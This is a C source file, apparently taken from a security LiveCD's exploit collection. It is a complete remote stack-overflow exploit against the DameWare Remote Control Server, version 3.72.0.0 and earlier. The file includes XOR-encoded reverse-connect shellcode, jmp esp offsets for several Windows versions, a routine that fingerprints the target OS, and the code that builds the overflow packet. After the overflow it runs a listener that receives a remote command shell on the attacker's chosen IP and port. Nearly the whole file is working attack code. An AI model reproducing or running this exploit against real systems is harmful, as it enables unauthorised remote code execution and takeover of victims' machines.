home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / dameware / dmware.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  15.1 KB  |  507 lines
  1.  
  2.  
  3. /*******************************************************************************
  4.  *    
  5.  *        DameWare Remote Control Server Stack Overflow Exploit 
  6.  *        
  7.  *        Discovered by:            wirepair
  8.  *        Exploit by:                Adik [ netmaniac (at) hotmail.KG ]        
  9.  *
  10.  *        Vulnerable Versions:    <= 3.72.0.0
  11.  *        Tested on:                3.72.0.0 Win2k SP3 & WinXp SP3
  12.  *        Payload:                Reverse Connect Shellcode, exits gracefully 
  13.  *                                doesn't terminate remote process.
  14.  *        
  15.  * [16/Dec/2003] Bishkek
  16.  *******************************************************************************/
  17.  
  18.  
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <winsock.h>
  22. //#include "netmaniac.h"
  23. #pragma comment(lib,"ws2_32") 
  24. #define ACCEPT_TIMEOUT    10
  25. #define RECVTIMEOUT        15
  26.  
  27. #define ID_UNKNOWN        0
  28. #define ID_WIN2K        1
  29. #define ID_WINXP        2
  30. #define ID_WIN2K3        3
  31. #define ID_WINNT        4
  32. #define VER                "0.5"    
  33. //#include "dmware.rc"
  34.  
  35. /*******************************************************************************/        
  36.     unsigned char send_buff[40] = {
  37.     0x30, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  38.     0xC3, 0xF5, 0x28, 0x5C, 0x8F, 0xC2, 0x0D, 0x40, 
  39.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  40.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  41.     0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
  42.     };
  43.  
  44.     unsigned char kyrgyz_rshell[] = { //418
  45.     0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33, 
  46.     0xC9, 0x66, 0xB9, 0xa2, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
  47.     0xDD, 0x03, 0x64, 0x03, 0x7C, 0xEE, 0x09, 0x64, 0x08, 0x88, 0x60, 0xAE, 0x89, 0x88, 0x88, 0x01, 
  48.     0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xA3, 0x89, 0x88, 0x88, 0x01, 
  49.     0xCE, 0x64, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x64, 
  50.     0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0x82, 0x89, 0x88, 0x88, 
  51.     0x01, 0xCE, 0x56, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0x72, 0x88, 0x88, 0x88, 
  52.     0x01, 0xCE, 0x52, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x62, 0x88, 0x88, 0x88, 
  53.     0x01, 0xCE, 0x5E, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x52, 0x88, 0x88, 0x88, 
  54.     0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x42, 0x88, 0x88, 0x88, 
  55.     0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x64, 0x71, 0x22, 0xE8, 0x60, 0x32, 0x88, 0x88, 0x88, 
  56.     0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x22, 0x88, 0x88, 0x88, 
  57.     0x01, 0xCE, 0x6A, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88, 
  58.     0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03, 
  59.     0x50, 0xE0, 0x48, 0x20, 0xB7, 0x89, 0xE0, 0x8A, 0x88, 0xAA, 0x99, 0x03, 0x44, 0xE2, 0x98, 0xD9, 
  60.     0xDB, 0x77, 0xDE, 0x60, 0x0D, 0x48, 0xFD, 0xD2, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x5A, 
  61.     0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 
  62.     0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x76, 0xCC, 0xAC, 0xB6, 0x01, 0xD4, 0xAC, 
  63.     0xC0, 0x01, 0xD4, 0xAC, 0xC4, 0x01, 0xD4, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 
  64.     0xD9, 0xD9, 0x4E, 0xCC, 0xAC, 0x8B, 0x80, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x5A, 0xD9, 
  65.     0x77, 0xDE, 0x52, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x56, 0x03, 0x40, 0xDB, 0x77, 
  66.     0xDE, 0x6A, 0x77, 0xDE, 0x5E, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 
  67.     0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 
  68.     0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 
  69.     0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 
  70.     0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 
  71.     0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 
  72.     0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 
  73.     0x8C, 0x88
  74.     };
  75.  
  76. /*******************************************************************************/
  77. long gimmeip(char *hostname);
  78. void cmdshell (int sock);
  79. int check_os(char *host,unsigned short target_port, unsigned int *sp);
  80.  
  81. struct timeval tv;
  82. fd_set fds;        
  83. char recv_buff1[5000]="";
  84. /***********************-( os jmp esp offsets )-********************************/
  85. struct sp_levels
  86. {
  87.     unsigned long eip;
  88.     char library[20];
  89. } ;
  90. /*************-[ offsets grabbed from www.metasploit.com ]-*********************/
  91. struct
  92. {
  93.     //int sp;
  94.     //unsigned long eip;
  95.     char os_type[10];
  96.     struct sp_levels sp[7];
  97.  
  98. } target_os[]=
  99. {
  100.     {
  101.         "UNKNOWN",{{0,""},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}        
  102.     },
  103.     {
  104.             "WIN 2000",
  105.             {{ 0x750362c3,"ws2_32.dll" },{ 0x75035173,"ws2_32.dll" },{ 0x7503431b,"ws2_32.dll" },
  106.             {  0x77db912b,"advapi32.dll" },{ 0x7c372063,"advapi32.dll" },{ 0,"" },{ 0,"" }    } 
  107.     },
  108.     {
  109.             "WIN XP",
  110.             {     { 0x71ab7bfb,"ws2_32.dll" },{ 0x71ab7bfb,"ws2_32.dll" },{ 0,"" },
  111.                 { 0,"" },{ 0,"" },{ 0,"" },{ 0,"" }    } //2 sp on winxp
  112.     },
  113.     {
  114.             "WIN 2003",
  115.             {{0x77db565c,"advapi32.dll"},{0,""},{0,""},{0,""},{0,""},{0,""},{0,""}}//SP 0??    
  116.     },
  117.     {
  118.             "WIN NT4",
  119.             { // only SP3 + SP 6 r filled in
  120.             { 0x77777777,"unknown.dll" },{ 0x77777776,"unknown.dll" },{ 0x77777775,"unknown.dll" },
  121.             { 0x77f326c6,"kernel32.dll" },{ 0x77777773,"unknown.dll" },{ 0x77777772,"unknown.dll" },
  122.             { 0x77f32836,"kernel32.dll" }            
  123.             }//6 SP        
  124.     }
  125.  
  126. };
  127. /****************************************************************************/
  128.  
  129.  
  130. int main(int argc,char *argv[])
  131. {     
  132.         WSADATA wsaData;                        
  133.         struct sockaddr_in targetTCP, localTCP, inAccTCP;
  134.         int sockTCP,s,localSockTCP,accSockTCP, acsz,switchon;
  135.         unsigned char send_packet[4135]="";
  136.         unsigned short local_port, target_port;
  137.         unsigned long local_ip, target_ip;
  138.         unsigned int os_sp=0;
  139.         int os_ver=0;
  140.         printf("\n\t...oO DameWare Remote Control Server Overflow Exploit Oo...\n\n"
  141.                    "\t\t-( by Adik netmaniac[at]hotmail.KG )-\n\n");
  142.         printf(" - Versions vulnerable: <= DWRCS 3.72.0.0\n");
  143.         printf(" - Tested on: DWRCS ver: 3.72.0.0 Win2k SP3 & WinXP SP1\n\n");
  144.         if(argc < 4)
  145.         {
  146.             
  147.             printf(" Usage: %s <TargetIP> <TargetPort> <YourIp> <YourPort>\n"
  148.                     " eg: %s 10.0.0.1 6129 10.0.0.2 21\n\n",argv[0],argv[0]);
  149.             return 1;            
  150.         }                
  151.         
  152.         WSAStartup(0x0202, &wsaData);                
  153.         target_port = atoi(argv[2]);                        
  154.  
  155.         local_port = htons((unsigned short)atoi(argv[4]));
  156.         local_ip = inet_addr(argv[3]);
  157.         local_port ^= 0x8888;
  158.         local_ip ^= 0x88888888;
  159.  
  160.         *(unsigned long *)&kyrgyz_rshell[194+27] = local_ip;
  161.         *(unsigned short *)&kyrgyz_rshell[201+27] = local_port;        
  162.  
  163.         printf( "[*] Target IP:\t%s \tPort: %s\n"
  164.                 "[*] Local IP:\t%s \tListening Port: %s\n\n",argv[1],argv[2],argv[3],argv[4]);
  165.  
  166.         target_ip=gimmeip(argv[1]);    
  167.         memset(&targetTCP, 0, sizeof(targetTCP));
  168.         memset(&localTCP, 0, sizeof(localTCP));
  169.         
  170.         targetTCP.sin_family = AF_INET;
  171.         targetTCP.sin_addr.s_addr = target_ip;
  172.         targetTCP.sin_port = htons(target_port);                
  173.                         
  174.         localTCP.sin_family = AF_INET;
  175.         localTCP.sin_addr.s_addr = INADDR_ANY;
  176.         localTCP.sin_port = htons((unsigned short)atoi(argv[4]));
  177.  
  178.         printf("[*] Initializing sockets...");
  179.  
  180.         if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  181.         {
  182.                 printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
  183.                 WSACleanup();
  184.                 return 1;
  185.         }
  186.         if ((localSockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  187.         {
  188.                 printf("\t\t\t[ FAILED ]\n Socket2 not initialized! Exiting...\n");
  189.                 WSACleanup();
  190.                 return 1;
  191.         }
  192.         printf("\t\t\t[ OK ]\n");
  193.  
  194.         printf("[*] Binding to local port: %s...",argv[4]);
  195.  
  196.         if(bind(localSockTCP,(struct sockaddr *)&localTCP,sizeof(localTCP)) !=0)
  197.         {
  198.                 printf("\t\t[ FAILED ]\n Failed binding to port: %s! Exiting...\n",argv[4]);
  199.                 WSACleanup();
  200.                 return 1;
  201.         }
  202.  
  203.         printf("\t\t[ OK ]\n");
  204.         printf("[*] Setting up a listener...");
  205.         if(listen(localSockTCP,1) != 0)
  206.         {
  207.                 printf("\t\t\t[ FAILED ]\nFailed to listen on port: %s! Exiting...\n",argv[4]);
  208.                 WSACleanup();
  209.                 return 1;
  210.         }
  211.         printf("\t\t\t[ OK ]\n");
  212.         os_ver = check_os(argv[1],(unsigned short)atoi(argv[2]),&os_sp);
  213.         
  214.         printf(" EIP: 0x%x (%s)\n\n",target_os[os_ver].sp[os_sp].eip,target_os[os_ver].sp[os_sp].library);
  215.         printf("[*] Constructing packet for %s SP: %d...",target_os[os_ver].os_type,os_sp);                
  216.         memcpy(send_packet,"\x10\x27",2);                
  217.         //memcpy(send_packet+500,"neTmaNiac",strlen("netmaniac"));
  218.         memset(send_packet+0xc4+9,0x90,700);        
  219.         
  220.         *(unsigned long*)&send_packet[516] = target_os[os_ver].sp[os_sp].eip;
  221.  
  222.         memcpy(send_packet+520,kyrgyz_rshell,strlen(kyrgyz_rshell));        
  223.         memcpy(send_packet+0x3d0,"neTmaNiac",9);                
  224.         memcpy(send_packet+0x5b4+0x24,"netmaniac was here",18);                
  225.         memcpy(send_packet+0x5b4+0x128,"12/12/04 13:13:13",17);                
  226.         memcpy(send_packet+0x5b4+0x538,"netninjaz_place",15);                
  227.         memcpy(send_packet+0x5b4+0x5b4+0x88,"131.131.131.131",16);                
  228.         memcpy(send_packet+0x5b4+0x5b4+0x394,"3.72.0.0",strlen("3.72.0.0"));
  229.                 
  230.         printf("\t[ OK ]\n");
  231.         
  232.         printf("[*] Connecting to %s:%s...",argv[1],argv[2]);        
  233.  
  234.         if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
  235.         {
  236.             printf("\n[x] Connection to host failed! Exiting...\n");
  237.             WSACleanup();
  238.             exit(1);
  239.         }         
  240.         printf("\t\t[ OK ]\n");
  241.  
  242.         switchon=1;
  243.         ioctlsocket(sockTCP,FIONBIO,&switchon);    
  244.         tv.tv_sec = RECVTIMEOUT;
  245.         tv.tv_usec = 0;
  246.         FD_ZERO(&fds);
  247.         FD_SET(sockTCP,&fds);    
  248.  
  249.         if((select(1,&fds,0,0,&tv))>0)
  250.         {
  251.             recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);            
  252.         }
  253.         else
  254.         {
  255.             printf("[x] Timeout! Failed to recv packet.\n");
  256.             exit(1);
  257.         }        
  258.         
  259.         //DumpMemory(recv_buff1,50);
  260.         memset(recv_buff1,0,sizeof(recv_buff1));
  261.         
  262.         switchon=0;
  263.         ioctlsocket(sockTCP,FIONBIO,&switchon);    
  264.  
  265.         if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
  266.         {
  267.                 printf("[x] Failed to inject packet! Exiting...\n");
  268.                 WSACleanup();
  269.                 return 1;
  270.         }
  271.         
  272.         switchon=1;
  273.         ioctlsocket(sockTCP,FIONBIO,&switchon);    
  274.         tv.tv_sec = RECVTIMEOUT;
  275.         tv.tv_usec = 0;
  276.         FD_ZERO(&fds);
  277.         FD_SET(sockTCP,&fds);    
  278.  
  279.         if((select(sockTCP+1,&fds,0,0,&tv))>0)
  280.         {
  281.             recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);            
  282.             switchon=0;
  283.             ioctlsocket(sockTCP,FIONBIO,&switchon);                
  284.             if (send(sockTCP, send_packet, sizeof(send_packet),0) == -1)
  285.             {
  286.                 printf("[x] Failed to inject packet2! Exiting...\n");
  287.                 WSACleanup();
  288.                 return 1;
  289.             }
  290.         }
  291.         else
  292.         {
  293.                 printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
  294.                 WSACleanup();
  295.                 return 1;
  296.         }        
  297.             
  298.         printf("[*] Packet injected!\n");
  299.         closesocket(sockTCP);                
  300.         printf("[*] Waiting for incoming connection...\r");
  301.  
  302.         switchon=1;
  303.         ioctlsocket(localSockTCP,FIONBIO,&switchon);    
  304.         tv.tv_sec = ACCEPT_TIMEOUT;
  305.         tv.tv_usec = 0;
  306.         FD_ZERO(&fds);
  307.         FD_SET(localSockTCP,&fds);    
  308.  
  309.         if((select(1,&fds,0,0,&tv))>0)
  310.         {
  311.             acsz = sizeof(inAccTCP);
  312.             accSockTCP = accept(localSockTCP,(struct sockaddr *)&inAccTCP, &acsz);
  313.             printf("[*] Connection request accepted: %s:%d\n", inet_ntoa(inAccTCP.sin_addr), (int)ntohs(inAccTCP.sin_port));
  314.             printf("[*] Dropping to shell...\n\n");
  315.             cmdshell(accSockTCP);
  316.         }
  317.         else
  318.         {
  319.                 printf("\n[x] Exploit appears to have failed!\n");
  320.                 WSACleanup();
  321.         }
  322.         
  323.         return 0;
  324. }
  325. /*********************************************************************************/
  326. int check_os(char *host,unsigned short target_port, unsigned int *sp)
  327. {
  328.     int sockTCP,switchon;
  329.     struct sockaddr_in targetTCP;
  330.     struct timeval tv;
  331.     fd_set fds;
  332.     
  333.     memset(&targetTCP,0,sizeof(targetTCP));    
  334.     targetTCP.sin_family = AF_INET;
  335.     targetTCP.sin_addr.s_addr = inet_addr(host);
  336.     targetTCP.sin_port = htons(target_port);
  337.  
  338.         if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  339.         {
  340.                 printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
  341.                 WSACleanup();
  342.                 return 1;
  343.         }        
  344.  
  345.         if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
  346.         {
  347.             printf("[x] Connection to host failed! Exiting...\n");
  348.             WSACleanup();
  349.             exit(1);
  350.         }     
  351.  
  352.         switchon=1;
  353.         ioctlsocket(sockTCP,FIONBIO,&switchon);    
  354.         tv.tv_sec = RECVTIMEOUT;
  355.         tv.tv_usec = 0;
  356.         FD_ZERO(&fds);
  357.         FD_SET(sockTCP,&fds);    
  358.  
  359.         if((select(1,&fds,0,0,&tv))>0)
  360.         {
  361.             recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);            
  362.         }
  363.         else
  364.         {
  365.             printf("[x] Timeout! Doesn't appear to b a DMWRCS\n");
  366.             exit(1);
  367.         }
  368.  
  369.         switchon=0;
  370.         ioctlsocket(sockTCP,FIONBIO,&switchon);    
  371.  
  372.         if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
  373.         {
  374.                 printf("[x] Failed to inject packet! Exiting...\n");
  375.                 WSACleanup();
  376.                 return 1;
  377.         }
  378.         
  379.         switchon=1;
  380.         ioctlsocket(sockTCP,FIONBIO,&switchon);    
  381.         tv.tv_sec = RECVTIMEOUT;
  382.         tv.tv_usec = 0;
  383.         FD_ZERO(&fds);
  384.         FD_SET(sockTCP,&fds);    
  385.  
  386.         if((select(sockTCP+1,&fds,0,0,&tv))>0)
  387.         {
  388.             recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);            
  389.             closesocket(sockTCP);    
  390.         }
  391.         else
  392.         {
  393.                 printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
  394.                 WSACleanup();
  395.                 return 1;
  396.         }                
  397.         
  398.         printf("\n OS Info   : ");
  399.         if(recv_buff1[8]==5 && recv_buff1[12]==0)
  400.         {        
  401.             printf("WIN2000 [ver 5.0.%d]\n SP String : %-1.20s\n\n",*(unsigned short *)&recv_buff1[16],&recv_buff1[24]);
  402.             *sp = atoi(&recv_buff1[37]);
  403.             closesocket(sockTCP);    
  404.             return ID_WIN2K;
  405.         }
  406.         else if(recv_buff1[8]==5 && recv_buff1[12]==1)
  407.         {        
  408.             printf("WINXP [ver 5.1.%d]\n SP String : %-1.20s\n\n",*(unsigned short *)&recv_buff1[16],&recv_buff1[24]);
  409.             *sp = atoi(&recv_buff1[37]);
  410.             closesocket(sockTCP);    
  411.             return ID_WINXP;
  412.         }
  413.         else if(recv_buff1[8]==5 && recv_buff1[12]==2)
  414.         {            
  415.             printf("WIN2003 [ver 5.2.%d]\n SP String : %-1.20s\n\n",*(unsigned short *)&recv_buff1[16],&recv_buff1[24]);
  416.             *sp = atoi(&recv_buff1[37]);
  417.             closesocket(sockTCP);    
  418.             return ID_WIN2K3;
  419.         }
  420.         else if(recv_buff1[8]==4)
  421.         {        
  422.             printf("WINNT4\n SP String : %-1.20s\n\n",&recv_buff1[24]);
  423.             *sp = atoi(&recv_buff1[37]);
  424.             closesocket(sockTCP);    
  425.             return ID_WINNT;
  426.         } 
  427.         else
  428.         {
  429.             printf("UNKNOWN\n");
  430.             closesocket(sockTCP);    
  431.             return ID_UNKNOWN;
  432.         }        
  433.         
  434. }
  435. /*********************************************************************************/
  436. long gimmeip(char *hostname) 
  437. {
  438.     struct hostent *he;
  439.     long ipaddr;
  440.     
  441.     if ((ipaddr = inet_addr(hostname)) < 0) 
  442.     {
  443.         if ((he = gethostbyname(hostname)) == NULL) 
  444.         {
  445.             printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
  446.             WSACleanup();
  447.             exit(1);
  448.         }
  449.         memcpy(&ipaddr, he->h_addr, he->h_length);
  450.     }    
  451.     return ipaddr;
  452. }
  453. /*********************************************************************************/
  454. void cmdshell (int sock)
  455. {
  456.  struct timeval tv;
  457.  int length;
  458.  unsigned long o[2];
  459.  char buffer[1000];
  460.  
  461.  tv.tv_sec = 1;
  462.  tv.tv_usec = 0;
  463.  
  464.  while (1) 
  465.  {
  466.     o[0] = 1;
  467.     o[1] = sock;    
  468.  
  469.     length = select (0, (fd_set *)&o, NULL, NULL, &tv);
  470.     if(length == 1)
  471.     {
  472.         length = recv (sock, buffer, sizeof (buffer), 0);
  473.         if (length <= 0) 
  474.         {
  475.             printf ("[x] Connection closed.\n");
  476.             WSACleanup();
  477.             return;
  478.         }
  479.         length = write (1, buffer, length);
  480.         if (length <= 0) 
  481.         {
  482.             printf ("[x] Connection closed.\n");
  483.             WSACleanup();
  484.             return;
  485.         }
  486.     }
  487.     else
  488.     {
  489.         length = read (0, buffer, sizeof (buffer));
  490.         if (length <= 0) 
  491.         {
  492.             printf("[x] Connection closed.\n");
  493.             WSACleanup();
  494.             return;
  495.         }
  496.         length = send(sock, buffer, length, 0);
  497.         if (length <= 0) 
  498.         {
  499.             printf("[x] Connection closed.\n");
  500.             WSACleanup();
  501.             return;
  502.         }
  503.     }
  504. }
  505.  
  506. }
  507. /*********************************************************************************/